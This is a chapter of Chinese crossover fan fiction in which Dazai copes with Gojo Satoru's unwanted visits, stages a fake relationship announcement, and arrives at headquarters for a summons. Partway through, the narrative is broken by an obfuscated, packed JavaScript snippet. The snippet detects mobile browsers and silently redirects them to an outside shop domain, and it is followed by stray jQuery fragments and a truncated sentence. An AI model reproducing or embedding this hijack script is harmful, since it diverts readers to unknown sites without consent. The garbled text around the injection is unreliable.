8. 五太恋爱观察日记第八章
    自教职员办公室一遭,太宰治就近乎处于“闭门不出”的状态。

    事实上,太宰治也确实没什么出门的必要,因着他吃饭时间的不规律,在很早以前,他的早中晚饭就由自觉承担起“老父亲”职责的夜蛾正道、负责送餐上门了。

    且,太宰治唯二的亲友,一个不知道去了哪里出差、一个正处于“绝交”阶段,连一个离开高专的理由都没有,他还不如躺平养足精神,等着总监部发难呢。

    但是……

    很快太宰治就后悔了和亲友“绝交”的幼稚行径。

    太宰治并不住在宿舍那边,而是住在高专/后山、由夜蛾正道搭建的木屋里。

    后山本就少有人来,自太宰治住到这里后,除去他本人和夜蛾正道不算,更是再无第三人踏足。

    然而……

    如今,五条悟成为了“第三人”。

    嫌弃到平静到麻木——太宰治这一系列的情绪变化,只有短短三天的时间而已,可见被折磨的不轻。

    太宰治可以确定,五条悟一定在坚持着“有关于自己”的奇奇怪怪的剧本。

    因为——!

    太宰治磨牙,五条悟看他的每一个眼神,都充斥着无比“做作且诡异”的慈爱与包容!

    这个白毛学弟是傻狍子吧!?

    “说起来,太宰学长还没见过杰和硝子呐。明天我带他们一块过来给太宰学长解闷。”五条悟双眼亮晶晶,自以为很“贴心”的说。

    太宰治默然无语:哦,另两个傻狍子是吧?

    (明明不在现场、却风评被害的夏油杰&家入硝子:“……”)

    看着满脸写着“期待”的五条悟,太宰治只觉窒息,心怀无限懊悔:我干嘛幼稚的和安吾“绝交”呢?有病的怕不是五条悟,而是我吧?

    “……不用了。”太宰治微笑,因为笑得勉强且用力,嘴角甚至不受控制地抽搐了一下。

    他索性不在勉强自己露出笑容,鸢眼沉沉,凝视着白发少年:“安分一点,五条同学,你应该是了解的,我从来都不是一个好脾气且富有耐心的人。”

    “欸——?”五条悟笑容不变,拖长了音调,发出似疑惑似不满的音节。

    并不理会五条悟作怪的音调,太宰治自顾自道:“从初见起,你似乎就相当执着在繁枝末节处刺激我?我想我的感觉没有出错才对。”

    说到这里,太宰治眯了眯眼,似笑非笑道:“你想要确认什么,我并不在意,同样的,我也没有充当“实验品”的兴趣……”

    太宰治说着话,前倾身体凑近五条悟,距离之近,他甚至可以感受到五条悟骤然放轻绷紧的呼吸。

    鸢眸从那双眸光颤动的苍天之瞳上挪开,缓缓移动着,极/暧/昧地扫过少年人的耳朵、面颊和脖颈,它们正/肉/眼可见的泛着红。

    太宰治噗嗤一声笑了

    他回到原位,展露于外的鸢眼、含着绝非“友善”的笑意眨动了两下,他扬唇:“五条同学很嗜甜?”

    “啊……唔?对……”五条悟喉咙发紧,将这简短的不能更简短的话语,硬是被他说得支离破碎。

    在太宰治的目光稍有偏移之时,五条悟飞快地轻轻阖了阖眸,暗暗地舒了一口气。

    尽管他也不理解原由,但太宰治的退离,实打实的让他松了一口气。

    太宰治贴近他的时间、不过短短几秒钟而已,但是于他而言,却像是过了一个无比漫长的夏天,他确信……高专≥/制度外套内的里衣,已经被汗浸透了。

    这样想着,五条悟颤着银白的长睫,小心地抬眸看了太宰治一眼。

    “果然呢。”像是没有注意到五条悟那“一触即分”的视线,太宰治看着他,笑意不变,再开口时的语调却是与笑容相反的冷淡:“我讨厌甜食那种听上去就黏糊糊的东西。”

    哪里是讨厌甜食?分明就是讨厌我这个人吧?——五条悟很想这样质问,但也不知为何,他现在有些心虚,怎么都提不起“质问”的勇气。

    五条悟尴尴尬尬地咧了咧嘴,他不敢去看太宰治,蓝瞳又一时间寻不到落点,以至于眸光闪烁、目光游移。

    此情此景,将五条悟拼命想要掩藏的、连他本人也不知来源的心虚,尽数暴/露在了太宰治眼中。

    对此,太宰治完全不在意。

    “哦。”五条悟讪讪出声。

    “所以,五条同学,你的实验结束了,对吗?”太宰治轻笑着询问,端的一副“有商有量”的姿态。

    见五条悟点头,太宰治唇边的笑意渐深,语气不自觉带出些轻快:“那么,我想,之后的时间里,五条同学应该不会出现在这里了吧?”

    听见问询,五条悟反复咬了咬/舌/尖,片刻后,他终于鼓起勇气、将目光落到太宰治的面容上,扭扭捏捏的问:“真的不可以再来嘛?我会带上礼物的,太宰学长喜欢什么?”

    太宰治:“……”

    说不通了是吧?

    深深地吸了一口气,太宰治微笑,言简意赅道:“不可以。什么都不喜欢。”

    “哦哦。”五条悟胡乱地点头应道。

    太宰治狠狠松了一口气。

    殊不知,五条悟正用他“奇特”的脑回路想:什么都不喜欢=什么都喜欢。[自信点头.gif]

    在被五条悟以“不知道怎么联系的话,我还是要过来的呀”的理由要去了联络方式后,太宰治总算送走了这尊“不请自来”的大≥佛。

    五条悟的脑回路确实奇特,但也明白“过犹不及”的道理(只是大多数时候,不乐意按照道理行事),所以,太宰治还是如愿过了几天安静日子。

    直到6月21日·7点30分。

    总监部的召唤传来。

    好吧,这一刻,太宰治不得不承认,有了联络方式的确是一件相当方便的事。

    他拨通了五条悟的电话:“总监部的消息,要我在9点30分到达总监部。“交往”的消息,就在9点钟宣扬出去吧,你来还是我来?”

    五条悟应当是在吃早饭,手机听筒传出“快速咀嚼食物又用力吞咽下去”的声响,接着便是回复:【我来我来!我可以去太宰学长那里嘛?】

    语气充满了“求求了求求了”的意味

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14277117|151798||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,太宰治无语的默了默:“……过来吧。”

    话音刚落,就传来了敲门声。

    太宰治:“……”

    能力是这么用的嘛???

    太宰治过去开门,抬眼就见五条悟“自信放光芒”的笑容,差点闪瞎他的眼。

    他很想再次无语,但鉴于光是这会功夫、他已经无语了很多次,就忍住了。

    太宰治侧过身,让五条悟进门。

    “太宰学长,我们合影吧。”五条悟晃了晃手中的手机。

    太宰治挑了挑眉,倒是没有拒绝,但对于五条悟提出的“笑灿烂些”和“再靠近些”的建议,他冷酷无情的表示:不行。

    五条悟:……好叭。

    保存了照片,五条悟笑道:“保证在约定时间里,叫所有咒术师都看见,哦,年轻一代的咒术师。”

    老爷爷们用不来社交软件:)

    “好。”太宰治可有可无的应了一声,然后开始用眼神赶人。

    他不认为自己“用完丢就”的行为很无情,这毕竟是双方均得利的事情。

    他的出发点是为警告“用夜蛾正道做筏子”的总监部。

    五条悟的出发点,不用想都知道是为了看总监部的笑话,同时也能为夜蛾正道增添一份保障。

    所以,严格意义上来讲,他和五条悟之间算是合作关系,不存在哪一方得利、哪一方失利的问题。

    他自然赶人赶的理直气壮。

    出乎预料的是,五条悟并未纠缠,相当干脆地站起身朝门口走去,却又在门口停下脚步,转过身,笑眯眯地推了下墨镜:“我会过去哦。放心,进去总监部的时机,我会好好掌握的。就这样,总监部见~”

    完全没有拒绝机会的太宰治,一脸麻木的目送五条悟离开

    ……他的这位学弟完全不用上课是吗?

    9点25分,太宰治站定在总监部院落。

    “还真是严阵以待呐。”

    太宰治懒懒抬眼,视线精准地扫过每一处藏有“埋伏”的地点,似笑非笑道:“这一次动用了多少咒术师呢?上一回的话,我记得不下十个?”

    出门迎接的侍从,矗立在太宰治正前方两米远的位置,头颅/低垂,没有回应他“称不上疑问”的疑问,整个人仿若不存在般安静。

    索性,太宰治也不需要侍从的回应。

    平淡地收回视线,太宰治提步迈上石阶。

    穿过狭窄阴冷的长廊,太宰治停在透着昏黄光亮的门前,未被绷带遮挡的眸子不太乐意地抬起,目光从一张张令人作呕的面孔上扫过。

    太宰治唇边挽起寡淡的笑弧,走进面前这连空气都尽显憋闷的房间,在仅剩的空位落座。

    他低垂下眼睫,百无聊赖的重复着“把手腕处的绷带松开又缠紧”的动作。

    忽地,他抬眸,介于暖色调和冷色调之间的鸢色瞳仁,似是蒙上了一层灰蒙的薄纱,并不厚此薄彼的与每一双浑浊的眼睛对视。

    “好久不见,老爷爷们,也许你们不会相信?我可是……”太宰治软和地弯下眸子:“非常想念你们的。”